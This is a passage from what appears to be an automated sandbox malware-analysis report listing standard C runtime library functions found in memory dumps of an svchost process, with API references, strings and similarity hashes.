Function 0000000180033A88 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000000180033AB0
_set_statfp.LIBCMT ref: 0000000180033ACB
_set_statfp.LIBCMT ref: 0000000180033AE7
_set_statfp.LIBCMT ref: 0000000180033B23

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 7bc1a420e3a71f2f965a4ea80f7d14fb62e76cc33678620a1a6f890797f2c75c
Instruction ID: 80ad8b2f73eecbe9dbe7f0baa2ee69af951d4874999ca32eac30387c2f34fd37
Opcode Fuzzy Hash: 7bc1a420e3a71f2f965a4ea80f7d14fb62e76cc33678620a1a6f890797f2c75c
Instruction Fuzzy Hash: 89117336A60E4901F6D71128E9E73EB5341AB5C3F4F06C638BAA6167D6CF288E495311

Function 00007FF8B7E6B8F4 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF8B7E65B2B,?,?,00000000,00007FF8B7E65DC6,?,?,?,?,?,00007FF8B7E65D52), ref: 00007FF8B7E6B913
FlsSetValue.KERNEL32(?,?,?,00007FF8B7E65B2B,?,?,00000000,00007FF8B7E65DC6,?,?,?,?,?,00007FF8B7E65D52), ref: 00007FF8B7E6B932
FlsSetValue.KERNEL32(?,?,?,00007FF8B7E65B2B,?,?,00000000,00007FF8B7E65DC6,?,?,?,?,?,00007FF8B7E65D52), ref: 00007FF8B7E6B95A
FlsSetValue.KERNEL32(?,?,?,00007FF8B7E65B2B,?,?,00000000,00007FF8B7E65DC6,?,?,?,?,?,00007FF8B7E65D52), ref: 00007FF8B7E6B96B
FlsSetValue.KERNEL32(?,?,?,00007FF8B7E65B2B,?,?,00000000,00007FF8B7E65DC6,?,?,?,?,?,00007FF8B7E65D52), ref: 00007FF8B7E6B97C

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 6f340fa7ad821cf4f32f9dec12eac9115b05eeeee5d3f357d3e4898969303b31
Instruction ID: ff8a76636ea23e8c80d1a14979fc70483136afc2cb39514c3b7da3958522bcad
Opcode Fuzzy Hash: 6f340fa7ad821cf4f32f9dec12eac9115b05eeeee5d3f357d3e4898969303b31
Instruction Fuzzy Hash: 94115B20E0C35246FA58A76DA55117E62A66F44FF0FA85734EB3D0A6FAEE2CF4418300

Function 00000001800220A4 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000000018001C097,?,?,00000000,000000018001C332,?,?,?,?,?,000000018001C2BE), ref: 00000001800220C3
FlsSetValue.KERNEL32(?,?,?,000000018001C097,?,?,00000000,000000018001C332,?,?,?,?,?,000000018001C2BE), ref: 00000001800220E2
FlsSetValue.KERNEL32(?,?,?,000000018001C097,?,?,00000000,000000018001C332,?,?,?,?,?,000000018001C2BE), ref: 000000018002210A
FlsSetValue.KERNEL32(?,?,?,000000018001C097,?,?,00000000,000000018001C332,?,?,?,?,?,000000018001C2BE), ref: 000000018002211B
FlsSetValue.KERNEL32(?,?,?,000000018001C097,?,?,00000000,000000018001C332,?,?,?,?,?,000000018001C2BE), ref: 000000018002212C

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 15e10e54e05bd1b1e2648199d4678ef2fc5ae9d658a486ccaf81939c3fce7219
Instruction ID: e8b0668a97665a8c794ba6383bccc3af98235a0336c82402a440fde16cc15460
Opcode Fuzzy Hash: 15e10e54e05bd1b1e2648199d4678ef2fc5ae9d658a486ccaf81939c3fce7219
Instruction Fuzzy Hash: 1911BF3130024802FADBA3A1A9517F923825B5C3F1F44C324BE395A7D6DE68C76A8300

Function 00007FF8B7E6B788 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF8B7E6B799
FlsSetValue.KERNEL32 ref: 00007FF8B7E6B7B8
FlsSetValue.KERNEL32 ref: 00007FF8B7E6B7E0
FlsSetValue.KERNEL32 ref: 00007FF8B7E6B7F1
FlsSetValue.KERNEL32 ref: 00007FF8B7E6B802

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 6148345d9d450c9acb6d0cf944fec5615b302e95e0d395f4efdea3e82151961d
Instruction ID: d4924b94766a96d62c3fd1dcc5a7da895c23118226f11745bdd2994c5b6222fe
Opcode Fuzzy Hash: 6148345d9d450c9acb6d0cf944fec5615b302e95e0d395f4efdea3e82151961d
Instruction Fuzzy Hash: F7110914E493074AFD68A7AD54521BD21A15F85FF0FA80738EB3E4A2F3DD2CF4419250

Function 0000000180021F38 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 0000000180021F49
FlsSetValue.KERNEL32 ref: 0000000180021F68
FlsSetValue.KERNEL32 ref: 0000000180021F90
FlsSetValue.KERNEL32 ref: 0000000180021FA1
FlsSetValue.KERNEL32 ref: 0000000180021FB2

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 2fd4b5036e41e533fdf3beb12d565b943ebbd8878a381ec5b52ce3f41b0f6cc5
Instruction ID: ac7d271d84ebd51985e05b12800f9369876744de3e2ada186cbc670f48ec244e
Opcode Fuzzy Hash: 2fd4b5036e41e533fdf3beb12d565b943ebbd8878a381ec5b52ce3f41b0f6cc5
Instruction Fuzzy Hash: 0B111B3130020D0AFEEFA37165523F923854B5D3F6E18DB3879364A6D2EF29974A4305

Function 0000000180026B88 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000000180026E67

Part of subcall function 0000000180030A18: _invalid_parameter_noinfo.LIBCMT ref: 0000000180030A35

Strings

UTF-16LEUNICODE, xrefs: 0000000180026E05
ccs, xrefs: 0000000180026DA2
UTF-8, xrefs: 0000000180026DE6

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 70fc6720c6b79c70baa9c98bc662d727b0ca90786edf72fd3c1da2c7ad8f43b6
Instruction ID: fde72e5643e6501ad7d7bf7ba7d2dd114188d6841b836974464f6ecb0fe2ed9b
Opcode Fuzzy Hash: 70fc6720c6b79c70baa9c98bc662d727b0ca90786edf72fd3c1da2c7ad8f43b6
Instruction Fuzzy Hash: 0F817C76E0424C85FBE75F29C1503F927A0A319BCAFA6C005FA06576B5DF3ACB499702

Function 00007FF8B7E5D83C Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF8B7E5D8AC
_CallSETranslator.LIBVCRUNTIME ref: 00007FF8B7E5D8F7

Strings

MOC, xrefs: 00007FF8B7E5D8C0
RCC, xrefs: 00007FF8B7E5D8C8

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 09409bed37c576e035de7e056a5aa45c0669fe9e09dbfcc3e6a2bc6bddd30766
Instruction ID: 1dfd4367c7e114a8e54c455c6c80a74df7b97645bac58fff45ebc2fb153c838b
Opcode Fuzzy Hash: 09409bed37c576e035de7e056a5aa45c0669fe9e09dbfcc3e6a2bc6bddd30766
Instruction Fuzzy Hash: E1915EB3A087898AE750DB69E4902AD7BB0FB44B88F144139EB8D57765DF3CE195C700

Function 0000000180013B0C Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 0000000180013B7C
_CallSETranslator.LIBVCRUNTIME ref: 0000000180013BC7

Strings

RCC, xrefs: 0000000180013B98
MOC, xrefs: 0000000180013B90

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: dd545397f69815d082e3865b611512d2cfc79e49fe2a3043d0dcc59c37b67f2d
Instruction ID: cea5505a647dd8d99028c2efdd64014ac639a8f031f9ab3c7de88f2ae8a9af49
Opcode Fuzzy Hash: dd545397f69815d082e3865b611512d2cfc79e49fe2a3043d0dcc59c37b67f2d
Instruction Fuzzy Hash: D3916F73604B888AE792DB65E8813DD7BA4F7487C8F148119FB4957B55DF38C299CB00

Function 0000000180004B00 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 160COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 0000000180004D09

Strings

ios_base::failbit set, xrefs: 0000000180004CC6
ios_base::eofbit set, xrefs: 0000000180004CCD
ios_base::badbit set, xrefs: 0000000180004CBA

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3668304517-1866435925
Opcode ID: 981922629c0c71f7d7f5bb3bd6ebdaf002bef8fb824a0659984a4b312e5bd10a
Instruction ID: 9dffa7b138dd15b1877246b9b4d0d3b86720209fbcba436573e899f31344b3cc
Opcode Fuzzy Hash: 981922629c0c71f7d7f5bb3bd6ebdaf002bef8fb824a0659984a4b312e5bd10a
Instruction Fuzzy Hash: 57716C72704B8899EB91CB29E4803D977A0F788BC8F51C126EB4C47B69DF38C659CB00

Function 00007FF8B7E5BDE0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF8B7E5BE0B
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF8B7E5BEA2
RtlUnwindEx.KERNEL32 ref: 00007FF8B7E5BEFC

Strings

csm, xrefs: 00007FF8B7E5BE89

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 25fa82826a0ce9a825dbb6cef0541d507307cbd9ab2d55793d3bc8b2e8a635dc
Instruction ID: 76731c72e2e37abe273b18fb699aae41220c35f56ac54aff24f6cb00d9a8acd1
Opcode Fuzzy Hash: 25fa82826a0ce9a825dbb6cef0541d507307cbd9ab2d55793d3bc8b2e8a635dc
Instruction Fuzzy Hash: 25517C72A1978A8ADB148B19E844A7C77A1EF44FD8F548131EB4A477A8DF7CF8518B00

Function 00000001800120B0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000001800120DB
_IsNonwritableInCurrentImage.LIBCMT ref: 0000000180012172
RtlUnwindEx.KERNEL32 ref: 00000001800121CC

Strings

csm, xrefs: 0000000180012159

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 0c6773a89182d916a9e5713dafb02091cba2c421323e82f26515a575d52b4cc1
Instruction ID: 7d6c34dde0be3d54a3bb0c0fb17ffeb1ae6ec07baaed361b27bd425d744a16e1
Opcode Fuzzy Hash: 0c6773a89182d916a9e5713dafb02091cba2c421323e82f26515a575d52b4cc1
Instruction Fuzzy Hash: 1451C432311A489ADB9ACB15E444BAD3392F758BD8F51C115FE4A47788EF78CA99C700

Function 00007FF8B7E5D5CC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF8B7E5D62B
_CallSETranslator.LIBVCRUNTIME ref: 00007FF8B7E5D677

Strings

MOC, xrefs: 00007FF8B7E5D63F
RCC, xrefs: 00007FF8B7E5D647

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 79ac988642adbe2bf912687cbb46d838107893388407e0ba1fe44272dabcb3f9
Instruction ID: 841ca9e5a41643ad21d82bb72b5303ca080a31a7a2d0a834e564b87f1aae3e8d
Opcode Fuzzy Hash: 79ac988642adbe2bf912687cbb46d838107893388407e0ba1fe44272dabcb3f9
Instruction Fuzzy Hash: 41617072908BC985E760DB19E4807AEB7A0FB95BD4F044225EB9C07BA5DF7CE194CB00

Function 00007FF8B7E5DDBC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF8B7E5DDE4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF8B7E5DECC

Strings

csm, xrefs: 00007FF8B7E5DF1E
csm, xrefs: 00007FF8B7E5DE06

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 8b5919d520e380ec7e64ab189599db2199c4b1eaab1c4c62e69996e89daeec22
Instruction ID: 94e9e225a881122feead27b0a7b87ac67158b0aded541f3bec6e88093aaba01d
Opcode Fuzzy Hash: 8b5919d520e380ec7e64ab189599db2199c4b1eaab1c4c62e69996e89daeec22
Instruction Fuzzy Hash: 095128B290878A8AEB648B29948426C77A0EF55FD4F144135EB9D87BE9CF3CF460D701

Function 000000018001408C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000001800140B4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000000018001419C

Strings

csm, xrefs: 00000001800140D6
csm, xrefs: 00000001800141EE

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 69ed66f1511e5281fda7d5b8b431893b27e23cc661fec4e987520bbd36a8b194
Instruction ID: 82fb1b3b9a2c0108a5c7e00806dec7ea2e1b7c0f13c14901c974dabba774ecdb
Opcode Fuzzy Hash: 69ed66f1511e5281fda7d5b8b431893b27e23cc661fec4e987520bbd36a8b194
Instruction Fuzzy Hash: FC516D37204B88CAEBB68F12D5443D877A0F359BD8F548125FA994BBA5CF38C699C701

Function 000000018001389C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000001800138FB
_CallSETranslator.LIBVCRUNTIME ref: 0000000180013947

Strings

RCC, xrefs: 0000000180013917
MOC, xrefs: 000000018001390F

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 1f53cd4d8f1748ca6857bff4048ec453cdc11b2faf4658223f31ec67eb421cf0
Instruction ID: 35288eaaf0a9daaa01cc96c8c301bb25c191419e2f8c58374528658c844c3001
Opcode Fuzzy Hash: 1f53cd4d8f1748ca6857bff4048ec453cdc11b2faf4658223f31ec67eb421cf0
Instruction Fuzzy Hash: E5616032508BC885E7A28B15E4417DABBA0F789BD4F448615FBD917B95DF7CC298CB00

Function 00007FF8B7E57060 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF8B7E570CB
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF8B7E57113
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8B7E571A3

Strings

bad locale name, xrefs: 00007FF8B7E571C6

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: std::_$Lockit$Locinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2775327233-1405518554
Opcode ID: 1f0fcb47dd0f699c0f182d6219e7dd5e1030f2f393395a838f5d1e643c6e2465
Instruction ID: 7d294ce4c355fb426383053db15b8326b861bebad0058de5cd27ea78f4957c31
Opcode Fuzzy Hash: 1f0fcb47dd0f699c0f182d6219e7dd5e1030f2f393395a838f5d1e643c6e2465
Instruction Fuzzy Hash: D5413A72B1A785C9FB14DFB5D8902BC23A8AF84B88F080435EF4D27A65CE3CE5659354

Function 000000018000A550 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000000018000A5BB
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 000000018000A603
std::_Lockit::~_Lockit.LIBCPMT ref: 000000018000A693

Strings

bad locale name, xrefs: 000000018000A6B6

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
